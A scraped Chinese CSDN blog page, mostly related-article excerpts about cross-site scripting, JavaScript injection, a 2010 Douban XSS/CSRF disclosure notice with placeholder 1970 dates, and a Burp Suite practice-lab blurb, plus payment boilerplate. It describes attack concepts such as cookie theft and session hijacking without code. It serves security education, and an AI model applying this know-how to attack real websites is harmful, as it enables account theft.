(1)跨站脚本( Crbss - Site Script )，为了跟层叠样式表（ Css ）区分开来，简称 xss，它是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种 (2)产生原因： XSS的产生是由于 WEB应用程序对用户输入的过滤不足而产生的，攻击者利用该漏洞把恶意脚本注入到网页之中，当其他用户浏览网页时，就会执行其中的恶意代码。受害用户可能会被窃取cookie 、会话劫持，钓鱼等各种攻击 (3)XSS漏洞常出现的位置：各种留言板，搜索框，备注，反馈意见，评论处等等 (4)pikac
web渗透--62--JavaScript注入漏洞
武天旭的博客
09-23 2976
1、漏洞描述 JavaScript注入漏洞是跨站脚本（XSS）的一个子类型，涉及注入任意JavaScript代码的能力，由受害者的浏览器内部的应用程序执行。这个漏洞可以带来很多影响，比如公开用户的会话cookie后，可以被用于模仿受害者，也可以使得让攻击者修改受害者的页面内容以及操控应用程序运行。
豆瓣Dom持久型跨站脚本漏洞
swordheart的博客
04-13 186
漏洞详情 披露状态： 2010-07-22： 细节已通知厂商并且等待厂商处理中 1970-01-01： 厂商已经确认，细节仅向厂商公开 1970-01-11： 细节向核心白帽子及相关领域专家公开 1970-01-21： 细节向普通白帽子公开 1970-01-31： 细节向实习白帽子公开 2010-08-21： 细节向公众公开 简要描述： 豆瓣某服务中存在一个CSRF跨域提交和XSS跨站脚本漏洞. 详细说明： 豆瓣9点存在部分csrf漏洞. 多数由于未检测提交的ck值引起. 如制作页面向接口 ht
burpsuite安全练兵场
最新发布
08-30
burpsuite安全练兵场是一个提供优质的靶场系列，模拟由外网渗透到内网攻防的真实环境的平台。它鼓励安全从业人员通过实战来提升技术能力，从而更好地理解安全技术。安全练兵场还提供最新的技术文档和攻防技巧，为安全从业人员的成长保驾护航。通过使用Burp Suite工具，可以方便地查找WebSockets安全漏洞，并以应用程序不期望的方式操作它们。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【安全练兵场】| BurpSuite靶场系列之命令注入（5个实验）](https://blog.csdn.net/shuteer_xu/article/details/129187802)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）](https://blog.csdn.net/qq_53079406/article/details/128715771)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值